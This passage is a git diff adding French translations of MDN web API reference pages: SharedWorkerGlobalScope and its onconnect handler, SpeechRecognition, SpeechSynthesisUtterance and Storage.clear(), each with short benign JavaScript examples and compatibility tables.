+<p>The <strong><code>SharedWorkerGlobalScope</code></strong> object (the {{domxref("SharedWorker")}} global scope) is accessible through the {{domxref("window.self","self")}} keyword. Some additional global functions, namespaces objects, and constructors, not typically associated with the worker global scope, but available on it, are listed in the <a href="/en-US/docs/Web/JavaScript/Reference">JavaScript Reference</a>. See the complete list of <a href="/en-US/docs/Web/API/Web_Workers_API/Functions_and_classes_available_to_workers">functions available to workers</a>.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>This interface inherits properties from the {{domxref("WorkerGlobalScope")}} interface, and its parent {{domxref("EventTarget")}}, and therefore implements properties from {{domxref("WindowTimers")}}, {{domxref("WindowBase64")}}, and {{domxref("WindowEventHandlers")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("SharedWorkerGlobalScope.name")}} {{readOnlyinline}}</dt>
+ <dd>The name that the {{domxref("SharedWorker")}} was (optionally) given when it was created using the {{domxref("SharedWorker.SharedWorker", "SharedWorker()")}} constructor. This is mainly useful for debugging purposes.</dd>
+ <dt>{{domxref("SharedWorkerGlobalScope.applicationCache")}} {{readOnlyinline}} {{deprecated_inline}}</dt>
+ <dd>This property returns the {{domxref("ApplicationCache")}} object for the worker (see <a href="/en-US/docs/Web/HTML/Using_the_application_cache">Using the application cache</a>).</dd>
+</dl>
+
+<h3 id="Properties_inherited_from_WorkerGlobalScope">Properties inherited from WorkerGlobalScope</h3>
+
+<dl>
+ <dt>{{domxref("WorkerGlobalScope.self")}}</dt>
+ <dd>Returns an object reference to the <code>DedicatedWorkerGlobalScope</code> object itself.</dd>
+ <dt>{{domxref("WorkerGlobalScope.console")}} {{readOnlyinline}}</dt>
+ <dd>Returns the {{domxref("Console")}} associated with the worker.</dd>
+ <dt>{{domxref("WorkerGlobalScope.location")}} {{readOnlyinline}}</dt>
+ <dd>Returns the {{domxref("WorkerLocation")}} associated with the worker. <code>WorkerLocation</code> is a specific location object, mostly a subset of the {{domxref("Location")}} for browsing scopes, but adapted to workers.</dd>
+ <dt>{{domxref("WorkerGlobalScope.navigator")}} {{readOnlyinline}}</dt>
+ <dd>Returns the {{domxref("WorkerNavigator")}} associated with the worker. <code>WorkerNavigator</code> is a specific navigator object, mostly a subset of the {{domxref("Navigator")}} for browsing scopes, but adapted to workers.</dd>
+ <dt>{{domxref("WorkerGlobalScope.performance")}} {{readOnlyinline}} {{Non-standard_inline}}</dt>
+ <dd>Returns the {{domxref("Performance")}} object associated with the worker, which is a regular performance object, but with a subset of its properties and methods available.</dd>
+</dl>
+
+<h3 id="Event_handlers">Event handlers</h3>
+
+<p><em>This interface inherits event handlers from the {{domxref("WorkerGlobalScope")}} interface, and its parent {{domxref("EventTarget")}}, and therefore implements event handlers from {{domxref("WindowTimers")}}, {{domxref("WindowBase64")}}, and {{domxref("WindowEventHandlers")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("SharedWorkerGlobalScope.onconnect")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("connect")}} event is raised — that is, when a {{domxref("MessagePort")}} connection is opened between the associated {{domxref("SharedWorker")}} and the main thread.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>This interface inherits methods from the {{domxref("WorkerGlobalScope")}} interface, and its parent {{domxref("EventTarget")}}, and therefore implements methods from {{domxref("WindowTimers")}}, {{domxref("WindowBase64")}}, and {{domxref("WindowEventHandlers")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("SharedWorkerGlobalScope.close()")}}</dt>
+ <dd>Discards any tasks queued in the <code>SharedWorkerGlobalScope</code>'s event loop, effectively closing this particular scope.</dd>
+</dl>
+
+<h3 id="Inherited_from_WorkerGlobalScope">Inherited from WorkerGlobalScope</h3>
+
+<dl>
+ <dt>{{domxref("WorkerGlobalScope.close()")}} {{deprecated_inline}}</dt>
+ <dd>Discards any tasks queued in the <code>WorkerGlobalScope</code>'s event loop, effectively closing this particular scope.</dd>
+ <dt>{{domxref("WorkerGlobalScope.dump()")}} {{non-standard_inline}}</dt>
+ <dd>Allows you to write a message to stdout — i.e. in your terminal. This is the same as Firefox's {{domxref("window.dump")}}, but for workers.</dd>
+ <dt>{{domxref("WorkerGlobalScope.importScripts()")}}</dt>
+ <dd>Imports one or more scripts into the worker's scope. You can specify as many as you'd like, separated by commas. For example:<code> importScripts('foo.js', 'bar.js');</code></dd>
+</dl>
+
+<h3 id="Implemented_from_other_places">Implemented from other places</h3>
+
+<dl>
+ <dt>{{domxref("WindowBase64.atob()")}}</dt>
+ <dd>Decodes a string of data which has been encoded using base-64 encoding.</dd>
+ <dt>{{domxref("WindowBase64.btoa()")}}</dt>
+ <dd>Creates a base-64 encoded ASCII string from a string of binary data.</dd>
+ <dt>{{domxref("WindowTimers.clearInterval()")}}</dt>
+ <dd>Cancels the repeated execution set using {{domxref("WindowTimers.setInterval()")}}.</dd>
+ <dt>{{domxref("WindowTimers.clearTimeout()")}}</dt>
+ <dd>Cancels the repeated execution set using {{domxref("WindowTimers.setTimeout()")}}.</dd>
+ <dt>{{domxref("WindowTimers.setInterval()")}}</dt>
+ <dd>Schedules the execution of a function every X milliseconds.</dd>
+ <dt>{{domxref("WindowTimers.setTimeout()")}}</dt>
+ <dd>Sets a delay for executing a function.</dd>
+</dl>
+
+<h2 id="Events">Events</h2>
+
+<p>Listen to this event using <code><a href="/en-US/docs/Web/API/EventTarget/addEventListener">addEventListener()</a></code> or by assigning an event listener to the <code>on<em>eventname</em></code> property of this interface.</p>
+
+<dl>
+ <dt><code><a href="/en-US/docs/Web/API/SharedWorkerGlobalScope/connect_event">connect</a></code></dt>
+ <dd>Fired on shared workers when a new client connects.<br>
+ Also available via the <code><a href="/en-US/docs/Web/API/SharedWorkerGlobalScope/onconnect">onconnect</a></code> property.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#sharedworkerglobalscope', 'SharedWorkerGlobalScope')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.SharedWorkerGlobalScope")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("SharedWorker")}}</li>
+ <li>{{domxref("WorkerGlobalScope")}}</li>
+ <li><a href="/en-US/docs/Web/API/Web_Workers_API/Using_web_workers">Using Web workers</a></li>
+ <li><a href="/en-US/docs/Web/Guide/Needs_categorization/Functions_available_to_workers">Functions available to workers</a></li>
+</ul>
diff --git a/files/fr/web/api/sharedworkerglobalscope/onconnect/index.html b/files/fr/web/api/sharedworkerglobalscope/onconnect/index.html
new file mode 100644
index 0000000000..1609e094ba
--- /dev/null
+++ b/files/fr/web/api/sharedworkerglobalscope/onconnect/index.html
@@ -0,0 +1,64 @@
+---
+title: SharedWorkerGlobalScope.onconnect
+slug: Web/API/SharedWorkerGlobalScope/onconnect
+translation_of: Web/API/SharedWorkerGlobalScope/onconnect
+---
+<p>{{APIRef("Web Workers API")}}</p>
+
+<p>La proriété <strong><code>onconnect</code></strong> de l'interface {{domxref("SharedWorkerGlobalScope")}} est un gestionnaire d'évènement pour l'évènement {{event("connect")}}, c'est à dire quand une connexion {{domxref("MessagePort")}} est ouverte entre le {{domxref("SharedWorker")}} et le <em>thread</em> principale.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">onconnect = function() { ... };</pre>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Cet exemple montre le gestionnaire d'évènement <code>onconnect</code> quand une connection depuis le thread principal vers un fichier de <em>worker</em> partagé via un {{domxref("MessagePort")}}. L'objet évènement est un {{domxref("MessageEvent")}}.</p>
+
+<p>Le port de connexion peut-être récupéré avec la propriété <code>ports</code> de l'objet évènement. Le port a un gestionnaire d'évènement <code>onmessage</code> pour gérer les évènement venant de cet port et la méthode <code>postMessage()</code> peut-être utilisée pour répondre au <em>thread</em> principale qui utilise le <em>worker</em>.</p>
+
+<pre class="brush: js">onconnect = function(e) {
+    var port = e.ports[0];
+
+    port.onmessage = function(e) {
+      var workerResult = 'Result: ' + (e.data[0] * e.data[1]);
+      port.postMessage(workerResult);
+    }
+
+    port.start();
+}</pre>
+
+<p>Pour l'exemple complet en fonctionnement, voir <a class="external-icon external" href="https://github.com/mdn/simple-shared-worker">Basic shared worker example</a> (<a class="external-icon external" href="http://mdn.github.io/simple-shared-worker/">run shared worker</a>.)</p>
+
+<div class="blockIndicator note">
+<p><strong>Remarque</strong>: La propriété <code>data</code> de l'objet évènement est <code>null</code> dans Firefox. À partir de la version 65, elle est initialisée comme une chaîne vide, selon les spécifications ({{bug(1508824)}}).</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#handler-sharedworkerglobalscope-onconnect', 'onconnect')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.SharedWorkerGlobalScope.onconnect")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("SharedWorkerGlobalScope")}}</li>
+</ul>
diff --git a/files/fr/web/api/speechrecognition/index.html b/files/fr/web/api/speechrecognition/index.html
new file mode 100644
index 0000000000..fc92260a1c
--- /dev/null
+++ b/files/fr/web/api/speechrecognition/index.html
@@ -0,0 +1,221 @@
+---
+title: SpeechRecognition
+slug: Web/API/SpeechRecognition
+translation_of: Web/API/SpeechRecognition
+---
+<p>{{APIRef("Web Speech API")}}{{SeeCompatTable}}</p>
+
+<p><strong><code>SpeechRecognition</code></strong> est l'interface contrôleur du service de reconnaissance de la <a href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Speech_API">Web Speech API</a>; elle gère également les {{domxref("SpeechRecognitionEvent")}} envoyés par le service de reconnaissance.</p>
+
+<h2 id="Constructeur">Constructeur</h2>
+
+<dl>
+ <dt>{{domxref("SpeechRecognition.SpeechRecognition()")}}</dt>
+ <dd>Crée un nouvel objet <code>SpeechRecognition</code></dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em><code>SpeechRecognition</code><code><em> </em></code>hérite également des propriétés de son interface parente, {{domxref("EventTarget")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("SpeechRecognition.grammars")}}</dt>
+ <dd>Retourne et définit une collection d'objets {{domxref("SpeechGrammar")}} représentant les grammaires qui seront comprises par <code>SpeechRecognition</code>.</dd>
+ <dt>{{domxref("SpeechRecognition.lang")}}</dt>
+ <dd>Retourne et définit la langue de  <code>SpeechRecognition</code>. Si elle n'est pas spécifiée, prend la valeur par défaut du HTML {{htmlattrxref("lang","html")}} ou le paramètre de langue du user agent si celle-ci n'est pas défini non plus.</dd>
+ <dt>{{domxref("SpeechRecognition.continuous")}}</dt>
+ <dd>Contrôle si la reconnaissance est continue, ou retourne seulement un seul résultat. Par défaut retourne un seul résultat (<code>false</code>.)</dd>
+ <dt>{{domxref("SpeechRecognition.interimResults")}}</dt>
+ <dd>Contrôle si les résultats intermédiaires doivent être retournés (<code>true</code>) ou pas (<code>false</code>.) Les résultats intermédiaires sont des résultats qui ne sont pas encore définitifs. (e.x. ou la propriété {{domxref("SpeechRecognitionResult.isFinal")}}  est <code>false</code>.)</dd>
+ <dt>{{domxref("SpeechRecognition.maxAlternatives")}}</dt>
+ <dd>Règle le nombre maximum de {{domxref("SpeechRecognitionAlternative")}} (d'alternatives) fourni par résultat. La valeur par défaut est 1.</dd>
+ <dt>{{domxref("SpeechRecognition.serviceURI")}}</dt>
+ <dd>Spécifie l'emplacement du service de reconnaissance vocale utilisé par <code>SpeechRecognition</code> pour traiter la reconnaissance proprement dite. La valeur par défaut le chemin par défaut du user agent.</dd>
+</dl>
+
+<h3 id="Event_handlers">Event handlers</h3>
+
+<dl>
+ <dt>{{domxref("SpeechRecognition.onaudiostart")}}</dt>
+ <dd>Déclenché lorsque l'agent utilisateur commence à capturer le son.</dd>
+ <dt>{{domxref("SpeechRecognition.onaudioend")}}</dt>
+ <dd>Déclenché lorsque l'agent utilisateur a terminé la capture audio.</dd>
+ <dt>{{domxref("SpeechRecognition.onend")}}</dt>
+ <dd>Déclenché lorsque le service de reconnaissance vocale est déconnecté.</dd>
+ <dt>{{domxref("SpeechRecognition.onerror")}}</dt>
+ <dd>Déclenché en cas d'erreur de reconnaissance vocale.</dd>
+ <dt>{{domxref("SpeechRecognition.onnomatch")}}</dt>
+ <dd>Déclenché lorsque le service de reconnaissance vocale retourne un résultat final sans concordance significative. Il peut s'agir d'un certain degré de reconnaissance, qui ne correspond pas ou ne dépasse le seuil de {{domxref("SpeechRecognitionAlternative.confidence","confidence")}}.</dd>
+ <dt>{{domxref("SpeechRecognition.onresult")}}</dt>
+ <dd>Déclenché lorsque le service de reconnaissance vocale retourne un résultat - un mot ou une expression a donc été reconnu(e) positivement et cela a été communiqué à l'application.</dd>
+ <dt>{{domxref("SpeechRecognition.onsoundstart")}}</dt>
+ <dd>Déclenché lorsqu'un son - parole reconnaissable ou non - a été détecté.</dd>
+ <dt>{{domxref("SpeechRecognition.onsoundend")}}</dt>
+ <dd>Déclenché lorsque le son - parole reconnaissable ou non - n'est plus détecté.</dd>
+ <dt>{{domxref("SpeechRecognition.onspeechstart")}}</dt>
+ <dd>Déclenché lorsque du son à été reconnu par le service de reconnaissance vocale comme de la parole.</dd>
+ <dt>{{domxref("SpeechRecognition.onspeechend")}}</dt>
+ <dd>Déclenché lorsque la parole reconnue par le service de reconnaissance vocale a cesse d'être détectée.</dd>
+ <dt>{{domxref("SpeechRecognition.onstart")}}</dt>
+ <dd>Déclenché lorsque le service de reconnaissance vocale commence à écouter l'audio entrant, dans le but de reconnaître les grammaires associées à la (reconnaissance vocale) <code>SpeechRecognition</code> actuelle.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em><code>SpeechRecognition</code> also inherits methods from its parent interface, {{domxref("EventTarget")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("SpeechRecognition.abort()")}}</dt>
+ <dd>Stops the speech recognition service from listening to incoming audio, and doesn't attempt to return a {{domxref("SpeechRecognitionResult")}}.</dd>
+ <dt>{{domxref("SpeechRecognition.start()")}}</dt>
+ <dd>Starts the speech recognition service listening to incoming audio with intent to recognize grammars associated with the current <code>SpeechRecognition</code>.</dd>
+ <dt>{{domxref("SpeechRecognition.stop()")}}</dt>
+ <dd>Stops the speech recognition service from listening to incoming audio, and attempts to return a {{domxref("SpeechRecognitionResult")}} using the audio captured so far.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>In our simple <a href="https://github.com/mdn/web-speech-api/tree/master/speech-color-changer">Speech color changer</a> example, we create a new <code>SpeechRecognition</code> object instance using the {{domxref("SpeechRecognition.SpeechRecognition", "SpeechRecognition()")}} constructor, create a new {{domxref("SpeechGrammarList")}}, and set it to be the grammar that will be recognised by the <code>SpeechRecognition</code> instance using the {{domxref("SpeechRecognition.grammars")}} property.</p>
+
+<p>After some other values have been defined, we then set it so that the recognition service starts when a click event occurs (see {{domxref("SpeechRecognition.start()")}}.) When a result has been successfully recognised, the {{domxref("SpeechRecognition.onresult")}} handler fires,  we extract the color that was spoken from the event object, and then set the background color of the {{htmlelement("html")}} element to that colour.</p>
+
+<pre class="brush: js">var grammar = '#JSGF V1.0; grammar colors; public &lt;color&gt; = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;'
+var recognition = new SpeechRecognition();
+var speechRecognitionList = new SpeechGrammarList();
+speechRecognitionList.addFromString(grammar, 1);
+recognition.grammars = speechRecognitionList;
+//recognition.continuous = false;
+recognition.lang = 'en-US';
+recognition.interimResults = false;
+recognition.maxAlternatives = 1;
+
+var diagnostic = document.querySelector('.output');
+var bg = document.querySelector('html');
+
+document.body.onclick = function() {
+  recognition.start();
+  console.log('Ready to receive a color command.');
+}
+
+recognition.onresult = function(event) {
+  var color = event.results[0][0].transcript;
+  diagnostic.textContent = 'Result received: ' + color;
+  bg.style.backgroundColor = color;
+}</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Speech API', '#speechreco-section', 'SpeechRecognition')}}</td>
+   <td>{{Spec2('Web Speech API')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(33)}}{{property_prefix("webkit")}} <sup>[1]</sup></td>
+   <td>{{CompatNo}} <sup>[2]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>continuous</code></td>
+   <td>{{CompatChrome(33)}} <sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}[1]</td>
+   <td>{{CompatGeckoMobile(44)}}</td>
+   <td>2.5</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>continuous</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}[1]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<ul>
+ <li>[1] Speech recognition interfaces are currently prefixed in Chrome, so you'll need to prefix interface names appropriately, e.g. <code>webkitSpeechRecognition</code>; You'll also need to serve your code through a web server for recognition to work.</li>
+ <li>[2] Can be enabled via the <code>media.webspeech.recognition.enable</code> flag in <a>about:config</a> on mobile. Not implemented at all on Desktop Firefox — see {{bug(1248897)}}.</li>
+</ul>
+
+<h3 id="Firefox_OS_permissions">Firefox OS permissions</h3>
+
+<p>To use speech recognition in an app, you need to specify the following permissions in your <a href="/en-US/docs/Web/Apps/Build/Manifest">manifest</a>:</p>
+
+<pre class="brush: json">"permissions": {
+  "audio-capture" : {
+    "description" : "Audio capture"
+  },
+  "speech-recognition" : {
+    "description" : "Speech recognition"
+  }
+}</pre>
+
+<p>You also need a privileged app, so you need to include this as well:</p>
+
+<pre class="brush: json">  "type": "privileged"</pre>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Speech_API">Web Speech API</a></li>
+</ul>
diff --git a/files/fr/web/api/speechsynthesisutterance/index.html b/files/fr/web/api/speechsynthesisutterance/index.html
new file mode 100644
index 0000000000..65763a6bbd
--- /dev/null
+++ b/files/fr/web/api/speechsynthesisutterance/index.html
@@ -0,0 +1,179 @@
+---
+title: SpeechSynthesisUtterance
+slug: Web/API/SpeechSynthesisUtterance
+translation_of: Web/API/SpeechSynthesisUtterance
+---
+<p>{{APIRef("Web Speech API")}}{{SeeCompatTable}}</p>
+
+<p>L'interface <strong><code>SpeechSynthesisUtterance</code></strong> de l'<a href="/en-US/docs/Web/API/Web_Speech_API">API Web Speech</a> représente une requète de synthèse vocale. Elle contient le contenu du service permettant de définir la façon dont elle sera lu (langue, hauteur et volume).</p>
+
+<h2 id="Constructor">Constructor</h2>
+
+<dl>
+ <dt>{{domxref("SpeechSynthesisUtterance.SpeechSynthesisUtterance()")}}</dt>
+ <dd>Retourne une nouvelle instance de l'objet <code>SpeechSynthesisUtterance</code>.</dd>
+</dl>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em><code>SpeechSynthesisUtterance</code> hérite également des propriétés de son interface parente, {{domxref("EventTarget")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("SpeechSynthesisUtterance.lang")}}</dt>
+ <dd>Gets and sets the language of the utterance.</dd>
+ <dt>{{domxref("SpeechSynthesisUtterance.pitch")}}</dt>
+ <dd>Gets and sets the pitch at which the utterance will be spoken at.</dd>
+ <dt>{{domxref("SpeechSynthesisUtterance.rate")}}</dt>
+ <dd>Gets and sets the speed at which the utterance will be spoken at.</dd>
+ <dt>{{domxref("SpeechSynthesisUtterance.text")}}</dt>
+ <dd>Gets and sets the text that will be synthesised when the utterance is spoken.</dd>
+ <dt>{{domxref("SpeechSynthesisUtterance.voice")}}</dt>
+ <dd>Gets and sets the voice that will be used to speak the utterance.</dd>
+ <dt>{{domxref("SpeechSynthesisUtterance.volume")}}</dt>
+ <dd>Gets and sets the volume that the utterance will be spoken at.</dd>
+</dl>
+
+<h3 id="Event_handlers">Event handlers</h3>
+
+<dl>
+ <dt>{{domxref("SpeechSynthesisUtterance.onboundary")}}</dt>
+ <dd>Fired when the spoken utterance reaches a word or sentence boundary.</dd>
+ <dt>{{domxref("SpeechSynthesisUtterance.onend")}}</dt>
+ <dd>Fired when the utterance has finished being spoken.</dd>
+ <dt>{{domxref("SpeechSynthesisUtterance.onerror")}}</dt>
+ <dd>Fired when an error occurs that prevents the utterance from being succesfully spoken.</dd>
+ <dt>{{domxref("SpeechSynthesisUtterance.onmark")}}</dt>
+ <dd>Fired when the spoken utterance reaches a named SSML "mark" tag.</dd>
+ <dt>{{domxref("SpeechSynthesisUtterance.onpause")}}</dt>
+ <dd>Fired when the utterance is paused part way through.</dd>
+ <dt>{{domxref("SpeechSynthesisUtterance.onresume")}}</dt>
+ <dd>Fired when a paused utterance is resumed.</dd>
+ <dt>{{domxref("SpeechSynthesisUtterance.onstart")}}</dt>
+ <dd>Fired when the utterance has begun to be spoken.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>Dans notre exemple basique de <a href="https://github.com/mdn/web-speech-api/tree/master/speak-easy-synthesis">démonstration de synthèse vocale</a>, nous commençons par récupérer une référence du controller SpeechSynthesis en utilisant <code>window.speechSynthesis</code>.<br>
+ Après avoir définit les variables nécessaires, nous récupérons une liste des voix disponibles en utilisant {{domxref("SpeechSynthesis.getVoices()")}} puis nous alimentons un menu avec celle-ci.<br>
+ L'utilisateur pourra ensuite choisir la voix qu'il souhaite.<br>
+ <br>
+ À l'intérieur du handler <code>inputForm.onsubmit</code> :</p>
+
+<ul>
+ <li>Nous stoppons la soumission du formulaire avec <a href="/en-US/docs/Web/API/Event/preventDefault">preventDefault()</a>;</li>
+ <li>Nous utilisons le constructeur {{domxref("SpeechSynthesisUtterance.SpeechSynthesisUtterance()", "constructor")}} pour créer une nouvelle instance contenant le texte de l'{{htmlelement("input")}};</li>
+ <li>Nous positionnons {{domxref("SpeechSynthesisUtterance.voice","voice")}} sur la voix sélectionnée dans le {{htmlelement("select")}};</li>
+ <li>Nous démarrons la synthèse vocale via la méthode {{domxref("SpeechSynthesis.speak()")}}</li>
+</ul>
+
+<pre class="brush: js">var synth = window.speechSynthesis;
+
+var inputForm = document.querySelector('form');
+var inputTxt = document.querySelector('input');
+var voiceSelect = document.querySelector('select');
+
+var voices = synth.getVoices();
+
+for(i = 0; i &lt; voices.length ; i++) {
+  var option = document.createElement('option');
+  option.textContent = voices[i].name + ' (' + voices[i].lang + ')';
+  option.setAttribute('data-lang', voices[i].lang);
+  option.setAttribute('data-name', voices[i].name);
+  voiceSelect.appendChild(option);
+}
+
+inputForm.onsubmit = function(event) {
+  event.preventDefault();
+
+  var utterThis = new SpeechSynthesisUtterance(inputTxt.value);
+  var selectedOption = voiceSelect.selectedOptions[0].getAttribute('data-name');
+  for(i = 0; i &lt; voices.length ; i++) {
+    if(voices[i].name === selectedOption) {
+      utterThis.voice = voices[i];
+    }
+  }
+  synth.speak(utterThis);
+  inputTxt.blur();
+}</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Speech API', '#utterance-attributes', 'SpeechSynthesisUtterance')}}</td>
+   <td>{{Spec2('Web Speech API')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(33)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(49)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>7</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>2.0</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>7.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Speech_API">Web Speech API</a></li>
+</ul>
diff --git a/files/fr/web/api/storage/clear/index.html b/files/fr/web/api/storage/clear/index.html
new file mode 100644
index 0000000000..8d9d33100a
--- /dev/null
+++ b/files/fr/web/api/storage/clear/index.html
@@ -0,0 +1,67 @@
+---
+title: Storage.clear()
+slug: Web/API/Storage/clear
+tags:
+  - API
+  - Méthode
+  - Reference
+  - Stockage
+  - Stockage Web
+translation_of: Web/API/Storage/clear
+---
+<p>{{APIRef("Web Storage API")}}</p>
+
+<p>La méthode <code>clear()</code> de l'interface {{domxref("Storage")}},  lorsqu'elle est invoquée, vide toutes les clés stockées.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js"><em>storage</em>.clear();</pre>
+
+<h3 id="Retoune">Retoune</h3>
+
+<p>{{jsxref("undefined")}}</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>La fonction suivante crée trois entrées de données dans le stockage local, puis les supprime en utilisant clear().</p>
+
+<pre class="brush: js">function peuplerLeStockage() {
+  localStorage.setItem('bgcolor', 'red');
+  localStorage.setItem('font', 'Helvetica');
+  localStorage.setItem('image', 'monChat.png');
+
+  localStorage.clear();
+}</pre>
+
+<div class="note">
+<p><strong>Note</strong>: Pour voir un exemple réel, vous pouvez visitez notre <a href="https://mdn.github.io/dom-examples/web-storage/">Démo de stockage web</a>. Les modifications sont visibles dans la console, vous pouvez actualiser la page et conserver les modifications.</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'webstorage.html#dom-storage-clear', 'Storage.clear')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.Storage.clear")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Utilisation de l'API de stockage web</a></li>
